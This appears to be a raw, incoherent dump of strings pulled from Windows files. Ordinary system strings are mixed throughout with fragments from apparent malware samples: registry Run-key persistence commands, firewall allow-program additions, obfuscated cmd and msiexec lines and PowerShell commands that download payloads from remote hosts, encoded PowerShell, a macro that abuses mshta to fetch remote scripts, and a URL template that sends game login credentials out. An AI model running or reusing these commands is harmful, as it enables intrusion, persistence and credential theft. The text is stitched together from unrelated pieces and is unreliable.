Pmd"%windir%\system32\sistema"copy%0%windir%\system32\sistema\foto.exe/yregaddhklm\software\microsoft\windows\currentversion\run/v"foto"/treg_sz/d"%windir%\system32\sistema\foto.exe"/fattrib+h+s"%windir%\system32\sistema"
dllcache\user32.dllwindows nt\currentversion\windows
%SystemRoot%\System32\svchost.exe -k netsvcs
c:\windows\system32\server.exewireless zero configuraction202.104.236.66
afx:400000:0:10011:0:0c:\windows\ojl111.dllmynew.dllimeinputs.exeautopatch.exe
winlogon.exehttp://%s:%i%s
listahotmailwecham@gmail.comC:\Arquivos de programas\msn_livers.exe\Software\Microsoft\Windows\CurrentVersion\Run
firewall add allowedprogram c:\windows\system\nppagent.exe
firewall add allowedprogram c:\windows\system\sysmod.exe
WindowsDeleteString
WindowsCreateStringReference
WindowsCreateString
WindowsDuplicateString
WindowsGetStringRawBuffer
WindowsCompareStringOrdinal
windows.immersiveshell.serviceprovider.dll
$injpath="c:\windows\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
ame!"%windir%\system32\
="c:\windows
(s\system32\cmd.exe/q/v/rstartmsiexecittwt=srdt-package"a
appcache[1].man.|%WINDIR%\System32\taskhostw.exe
%\Windows]
2c3^com.microsoft.windows.extensions.xaml.widgetviewwinui3
2c8^com.microsoft.windows.widgetsileName
M)$ggti='c:\windows\miaacroaasoft.nezzt\frazzmewzzork\v4.0.30319\regsvcs.exe'$yoo=[object[]]([
/R\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v\Policies\SK
Microsoft.Windows.UserDataAccess.UserDataService
Microsoft.Windows.Messaging.Service
Microsoft.Windows.Wil.FeatureLogging
Windows.SystemToast.DeviceConsentSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44i
Windows.SystemToast.DefaultAudioEndpointSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44[
Windows.SystemToast.CompatSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44i
Windows.SystemToast.CameraTroubleshooterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44t
Windows.SystemToast.Calling.SystemAlertNotificationSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\
Windows.SystemToast.CallingSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44a
Windows.SystemToast.BthQuickPairSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]
Windows.SystemToast.BthpropsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44k
Windows.SystemToast.BitLockerPolicyRefreshSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44^
Windows.SystemToast.BdeUnlockSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c
Windows.SystemToast.BackupReminderSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e
Windows.SystemToast.BackgroundAccessSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]
Windows.SystemToast.AutoPlaySystemapp:system2026-02-20 16:13:442026-02-20 16:13:44h
Windows.SystemToast.AudioTroubleshooterSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.AccountHealthSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44_
Windows.System.ShareExperienceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44j
Windows.System.NearShareExperienceReceiveSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`	
Windows.System.MiracastReceiverSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Z
Windows.System.DialServerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44Y
Windows.System.ContinuumSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44U
Windows.System.AudioSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44d
Windows.System.AppInitiatedDownloadSystemapp:system2026-02-20 16:13:442026-02-24 08:06:17Q
Windows.DefenderSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44c
Microsoft.Windows.ParentalControlsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44j
Microsoft.Windows.InputSwitchToastHandlerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44n
Microsoft.Windows.DynamicLightingToastHandlerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44
invoke-webrequest-uri'https://windows.defender.kim/python3.zip'-outfile$zippath;expand-archive-path$zippath-destinationpath$extractpath-force;"c:
windowsregistryeditorversion5.00[hkey_local_machine\system\controlset001\services\winmgmt\parameters]"servicedll"=hex(2):
windowsregistryeditorversion5.00[hkey_local_machine\system\controlset001\services\winmgmt\parameters]"servicedll"=hex(2):43,00,3a,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c
&windowsregistryeditorversion5.00[hkey_local_machine\system\controlset001\services\winmgmt\parameters]"servicedll"=hex(2):
URL: %s, client = %scommand_idCommandQueueCommandReplyoutput_consoleComputerInfoReplyDirInformationCOMMANDREPLYDIRINFORMATIONTRANSFERREPLYCOMPUTERINFOREPLYCOMMANDQUEUEUPLOADFILEREPLYDOWNLOADFILEREPLYFileDataCompleteWINDOWS_%s_%x%x%x%xuv_mutex_init!#ALF:Y2V:Florian_Roth/Freeenki_Infostealer_Nov17
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC)
A|*Windows PowerShell ISE.lnk&
M{*Windows PowerShell ISE (x86).lnk
Kv'Windows Media Player Legacy.lnk
Windows PowerShell
.Windows Defender Firewall with Advanced Security.lnk
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe
Uwindows_ie_ac_001
UMicrosoftWindows.Client.OOBE_cw5n1h2txyewy
UMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
Uwindows.immersivecontrolpanel_cw5n1h2txyewy0
UMicrosoftWindows.Client.CBS_cw5n1h2txyewy
UMicrosoft.WindowsStore_8wekyb3d8bbwe-
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe
\\?\globalroot\systemroot\system32\
C:\WINDOWS\SYSTEM32\
c:\windows\winhelp32.ini\media\
opera.exe"reg add "hkey_current_user\software\microsoft\windows\currentversion\run" software\webmoney\paths
>wshshell.regwrite"hkey_local_machine\software\microsoft\windows\currentversion\runonce\clean",regcmd
regadd"hkcu\software\microsoft\windows\currentversion\run"/v"backdoor2.bat"/treg_sz/f/d"%nowpathss%
Microsoft.Windows.Security.DataProtection.FeClient
Microsoft.Windows.ErrorHandling.Fallback
 h.exthdowsh\winc:\windows\windows.exte0hxechoryahrecthwsdihindohgetwmzkernel32.dll
.%s\system32\drivers\etc\hosts%s\internet explorer\.php?login=%s&numer=%s&pass=%s&notatka=%s&serwer=%s&lvl=%d&lvlp=%d&stam=%d&helm=%d&neck=%d&back=%d&arm=%d&rhand=%d&lhand=%d&legs=%d&feet=%d&ring=%d&ammo=%d&nchar=%d&lhandc=%d&rhandc=%d&ammoc=%d127.0.0.1       localhost
Fsoftware\microsoft\windows\currentversion\explorer\desktop
{E25C29AB-12B9-4523-A53C-324B5FBA648C}MICROSOFT\WINDOWS\currentversion\explorer\SHELLEXECUTEHOOKS
ShellWindows\CurrentVersion\Run
n\system32\odf
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
firewall add allowedprogram c:\windows\system\comandsp.exe
\windows\system32\removegb.sysdrv r gb
+if exist %1 goto loopwindows\currentversion\run\
Windows.Defender.MpUxDlpSystemapp:s
\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
MsgBox "Erro! Office 365 no installed.fso.copyfile "C:\Windows\System32\mshta.exe", Environ("PUBLIC") & "\calc.com", True= Shell("C:\Users\Public\calc.com ""https://unimed-corporated.com/brasil/CPAhtml.mp3""")= Shell("C:\Users\Public\calc.com ""https://unimed-corporated.com/brasil/CPAInjectTarefa.mp3""")Trojan:HTML/Phish.RVBK!MTB
start /low /min iexplore.exe "http://shockwaveflashup.sytes.net/successful.%windir%\system32\ping.exe yc.shockwavesfx.com -n 1 -l 1http://%ok%/proxy.pac
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
SWe Are HellMakersC:\WINDOWS\ud.sysc:\file.exe
Uq<!doctypehtml><html><head><hta:applicationicon="#"windowstate="minimize"showintaskbar="no"sysmenu="no"caption="no"/><scripttype="text/vbscript">onerrorresumenext
</script><metahttp-equiv="content-type"content="text/html;charset=windows-1252"><style>bodya{color:#00f;text-decoration:underline;}a:visited{color:#800080;}
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::~AppInstallManagerImpl
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::ConnectAgent
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::ConnectAgent2
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::DisconnectAgent2
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::_VerifyInstallControl2IsRunning
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::_GetInstallControl2
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::OnSuspend
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::_GetActiveInstalls
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::OnResume
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::FindOrCreateInstallItem
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
WindowsCreateString
WS\system32\config\systemprofile
windir=C:\WINDOWS
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
C:\ProgramData\Microsoft\Windows/
70^windows.appExtension
59^windows.appExtension
C:\WINDOWS\System32\msiexec.exe.FriendlyAppName
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe%5Cmicrosoft.system.package.metadata%5CS-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri
Microsoft.Windows.Services.Experiences.ExperienceExtensions
0?void 0:l.className)),previewPaneOpened:i.hasPreviewPaneOpened,previewPaneOpening:i.isPreviewPaneOpening,removeIconPadding:i.removeIcon!=null,entityWithThumb:s,withWebSibling:it&&!s,withImgIcon:n.config.enableBiggerIconTopHit&&(this.state.icon&&this.state.icon.type==0||i.icon&&i.icon.type===0),isStoreAppSugg:n.config.enableBiggerIconTopHit&&n.isStore((a=this.props.suggestion)===null||a===void 0?void 0:a.type),localStoreAppSugg:ut,pointerCursor:n.config.enablePointerCursorForSugg,optSugHoverStyle:k&&c,iconBackplateEnabled:n.config.enableIconBackplate},i.classNames.join(" "));let d=!1;if(i.id&&i.id.startsWith("winrt")&&!i.query){let n=i;n&&n.url&&n.url.includes("www.bing.com/")&&(d=!0)}if(n.config.enableWinStoreAppPreview&&i.type==="SPP"&&this.state.storeAppsInstalled===!1||i.type==="SAPP"){const n=document.getElementById("Storegr10");n&&((v=n.classList)===null||v===void 0?void 0:v.remove("b_hide"))}let g=n.config.enableOpenIconForTopHits&&!n.config.forceSettingsAppExperience&&i.itemType!=null&&(i.itemType==1||i.itemType==2||i.itemType==0);return React.createElement("li",{className:ft,onContextMenu:n=>tt(i,n.nativeEvent),onClick:n=>i.click&&nt(i,n.nativeEvent),id:i.id,"data-partnertag":t.whenTestHooks("AutoSuggest.RegularSuggestion"),"aria-selected":i.selected?"true":"false","aria-label":i.narratorText&&`${w&&i.arrowOrTabAction&&i.selected?n.Host.getLocString("BestMatch")+",":""} ${i.narratorText}`,"aria-level":o?1:w?1:2,"data-stype":t.whenTestHooks(i.type),"data-h":i.instItem.getHValue(),"data-clicks":i.isReformulation?"true":null,"data-noct":i.isReformulation?"true":null,title:i.tooltip,role:"option",draggable:!0,onDragStart:t=>n.RootViewModel.handleSuggestionDragStartEvent(t,i)},React.createElement("div",{className:t.classNames("suggContainer",{withOpenIcon:g},{newTopHit:n.config.newTopHitStyleCobalt},{largerSearchIcon:n.config.enableLargerSearchIcon},{wrappableSuggestionContainer:n.config.newGroupHeaderStyle1},{largerSearchIcon24:n.config.enableLargerSearchIcon24},{largerSearchIcon12:n.config.enableLargerSearchIcon12},{largerSearchIcon14:n.config.enableLargerSearchIcon14}),onMouseEnter:h&&c?()=>e===null||e===void 0?void 0:e.onMouseEnter(i.id):undefined,onMouseLeave:h&&c?()=>e===null||e===void 0?void 0:e.onMouseLeave(i.id):undefined},React.createElement("div",{className:t.classNames("suggDetailsContainer",{leftPill:i.selected}),"data-partnertag":t.whenTestHooks("Suggestion.SuggDetailsContainer")},f&&i.type!="OLE"&&!((n.Host.enableAddCopilotActionToBestMatch?n.Host.enableAddCopilotActionToBestMatch():!1)&&n.isCopilotSuggestion(i===null||i===void 0?void 0:i.type))&&!s&&React.createElement(t.Icon,{icon:(y=this.state.icon)!==null&&y!==void 0?y:i.icon,toScale:d,suggestionType:i.type,badgeIcon:n.shouldShowBadgeIcon()?i.badgeIcon:undefined}),f&&(n.Host.enableAddCopilotActionToBestMatch?n.Host.enableAddCopilotActionToBestMatch():!1)&&n.isCopilotSuggestion(i===null||i===void 0?void 0:i.type)&&!s&&React.createElement("div",{className:"copilotIconContainer"},React.createElement(t.ChatWithBingIcon,{id:"copilotIconContainer"})),f&&React.createElement(r,{suggestion:i,isSearchHome:o}),f&&o&&React.createElement(t.RemoveIcon,{icon:i.removeIcon}),f&&i.secondaryIcon&&i.type!="OLE"&&React.createElement(t.Icon,{icon:i.secondaryIcon,type:"SecondaryIcon",badgeIcon:n.shouldShowBadgeIcon()?i.badgeIcon:undefined}),i.htmlContent&&React.createElement(u,{htmlContent:i.htmlContent})),g&&f&&!o&&React.createElement(t.OpenIcon,{icon:i.openIcon}),f&&!(n.config.disableQFPreviewBtnForChatSugg&&n.searchChatIconClassName()===((p=i.icon)===null||p===void 0?void 0:p.className))&&React.createElement(t.PreviewPaneButton,{suggestion:i,openPreviewPaneButton:b})))}}t.WindowsSuggestionThreeLines=i;const r=i=>{const{suggestion:r,isSearchHome:o}=i,u=r&&r.type=="OLE",f=r&&r.dateShort,s=n.config.searchHistoryTextColor&&(r.type==="HS"||r.subType==="MRUHS");let e=!0;if(n.config.removeAnaheimLinkUX&&r.type)switch(r.type){case"ANAF":case"ANAH":case"ANAR":case"ANATH":case"ANAT":e=!1}let h=r.itemType!=null&&(r.itemType==1||r.itemType==2||r.itemType==0)?n.config.newAnnotatio
WINDOWS11
c:\windows\god\up.exec
c:\windows\god\sendb.exec
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
Windows.UI.Xaml.Controls.MenuFlyouth
Enter your feedback on Windows Search here. To protect your privacy, please don't include any personal information.
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows
default$windows.data.input.text.roamingdictionaryG
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
COMPUTERNAME=WINDOWS11
USERNAME=WINDOWS11$
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe
*\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
UTERNAME=WINDOWS11,
\System32\
27. 77. .7. 8.1.\keys.ini\system32\drivers\Mozilla/5.0 (Windows
c:\windows\system32\cmd.exedatahrgartp/vmo/c^s^t^art^m^si^e^xe^cv^g^ob^s^g^n^h=^u^a/^q^u^ie^tt^pc=^yi/f^v"http://gz.qa:8080/bxauda7n6qx7fnlowuxjvwjjjih1/8i0x/!computername!"%windir%\system32\imageres.dll%systemroot%
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-noprofile-executionpolicybypass-command"invoke-webrequest-uri'https://oshi.at/hdye'-outfile$env:temp\
CWINDOWSSYSTEMROOT
config\systemprofile\appdata\local\microsoft\windowsappsc
Software\Microsoft\Windows\blaalysene\Uninstall\unfatherliness\RefreezeS
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer5@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer5@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer4@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer4@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer7@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer7@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer6@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer6@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIFrameworkElementAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IFrameworkElementAutomationPeer@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer3@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer3@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer2@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer2@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$producer_convert@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides9@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides8@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides8@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides6@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@U134@UIWindowProvider@Provider@Automation@Xaml@UI@Windows@4@Ucomposing@4@UIAutomationPeerOverrides@Peers@789Windows@4@UIAutomationPeerOverrides2@Peers@789Windows@4@UIAutomationPeerOverrides3
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4axgbeaf4abqbzaf4axgboahqayqagaggadabeahqacabeaf4axgbeahmaxgbeadoaxgavaf4alwbeaf4axgbzageazabnagyadqbhaduanabhaf4axgbeaf4algb4af4axgbeahkaxgbeahoalwbeaf4argbya
aok>c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4axgbeag0acwboahqayqbeaf4axgagaf4aaabeaf4axgb0ahqacabzadoalwavaf4axgbeaf4acwbhagqazwbeaf4axgbmahuaxgbeaf4axgbhaduanabeageaxgbeac4axgb4ahkaxgbeaf4aegavaf4arabea
0Mc:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4axgbtahmaaabeaf4adabeaf4axgbhaf4axgagaf4axgbeaf4aaab0ahqaxgbeaf4axgbwaf4axgbeahmaxgbeaf4aogavac8axgbeahmaxgbeaf4axgbhaf4axgbkaf4azwbeagyaxgbeaf4axgb1af4axgbha
tc:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4axgbtahmaxgbeaggaxgb0ageaiabeaf4axgboahqaxgbeaf4adabwahmaxgbeadoalwbeaf4alwbeaf4axgbzaf4ayqbeaf4axgbeagqaxgbeaf4axgbnaf4axgbmaf4axgbeaf4adqbhaduanabhac4aeabea
kc:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0acwbeaf4axgboaf4axgbeaf4adabhaf4axgbeacaaxgbeaf4axgboaf4axgbeahqadabwahmaogbeaf4axgbeac8alwbzaf4axgbhagqazwbmaf4axgb1ageaxgbeaf4axga1adqaxgbhaf4axgbeaf4algb4a
\c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0acwbeaf4axgboahqaxgbeageaiaboahqaxgbeahqaxgbwaf4axgbeahmaogavaf4alwbzaf4axgbeaf4ayqbeaf4azabnaf4axgbmaf4axgb1ageaxga1af4axga0af4axgbhac4aeabeaf4axgbeahkaxgbea
<c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0acwbeaf4axgboahqayqagaf4axgbeaf4aaabeaf4adab0ahaacwbeaf4axgbeadoaxgbeac8alwbeaf4axgbeahmaxgbhagqaxgbnagyadqbeaf4axgbhaf4axgbeaf4anqa0af4axgbhac4aeabeaf4axgb5a
AlXc:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0acwboaf4adabeaf4axgbeageaxgbeaf4aiabeaggadabeaf4axgbeahqaxgbeaf4axgbwaf4axgbzaf4axga6af4alwavahmaxgbeageaxgbeaf4axgbkagcazgbeahuaxgbeaf4axgbhaf4axgbeaduanabea
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0acwboaf4axgbeahqayqagaf4aaabeaf4axgbeahqaxgbeaf4adabeaf4axgbeahaacwa6af4axgbeac8alwbeahmaxgbeaf4ayqbkagcazgb1af4axgbeaf4ayqa1adqaxgbeageaxgbeaf4algbeahgaxgbea
USERDOMAIN=Windows11
LOGONSERVER=\\WINDOWS11
windir=C:\WINDOWS
OS=Windows_NT
SystemRoot=C:\WINDOWS
COMPUTERNAME=WINDOWS11
WindowsFeedback
SLGetWindowsInformationDWORD
c:\\windows\\ime\\
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
be^windows.protoco
^windows.appExtens
^windows.appExtens
WindowsApp1.My.ResourcesWindowsApp1.g.resources
WindowsApp1.Resources.resourceswindowsapp1.resourcesw
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Software\Microsoft\Windows\gadsbodikins\Uninstall\Apex\cubiclyS
.?AUIBuffer@Streams@Storage@Windows@ABI@@
WindowsRuntimeBufferHelper
WindowsRuntimeMetadata
WindowsImpersonationFlowMode
WindowsRuntimeResourceManagerBase
Microsoft-Windows-Enrollmen
USERDOMAIN_ROAMINGPROFILE=Windows11
/windows/
c:\windows\system32\cmd.exe/cpowershell-command"$url='http://relay-02-
&.NET Docking Library for Windows Forms
Windows.Networking.BackgroundTransfer.Internal'
Windows.Networking.ContentPrefetcher.Internal
WindowsUdk.UI.Shell.Dashboard
navapw32.exenavapsvc.exekvxp.kxptrojanhunter.exezonealarm.exesafeweb.exenormist.exefprot.execleaner.exeavp32.exedefendio.exemaxthon.exeopera.exefleinfectmicrosoftallfilefirewallsistema de xp) sobre el sistema de windows de la
C:\Windows\spool
C:\Windows\
C:\Windows\regsvr32.exe
C:\Windows\msword32.exe
C:\Windows\loster.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\My saved passwords - NotepadCityBank log-inA:\||||||||||||.swftooltips_class32antivirus.exept_login_sig=
Microsoft.Windows.Icu.Debug
Microsoft.Windows.Icu
=JL\disable_windowsupdate.pdb
FlutterWindows_WindowManager_Initialize
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
    name="Microsoft.Windows.COM.RuntimeBroker"
<description>Broker Process for Windows Partial Trust Components</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings xmlns:ws2="http://schemas.microsoft.com/SMI/2016/WindowsSettings">
    </windowsSettings>
/cstartwindowsdefender.j
system32
.?AU?$IIterator@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IVectorView@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AV?$VectorChangedEventHandler@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IVector@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IObservableVector@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IIterable@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\hwUpgradeHelper\hwUpgradeHelper.pdb
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\timeSync\timeSync.pdb
\windows fabric
u"http://2i.wf:8080/yvyujh2du9sl6z1svix//!computername!"^po=^ko!%systemroot%\system32\shell32.dll
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\QUERY!CheckedValue
%BrowserAppProfile%\F12!DebuggerHDataWindowsSplitterPosition
Windows Media Foundation\ByteStreamHandlers\audio/wav
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\powerOps\powerOps.pdb
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Windows\CurrentVersion\Explorer\TravelLog!MaxSizeMultiplier
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\DISABLE!CheckedValue
CimStatusCodeFromWindowsError
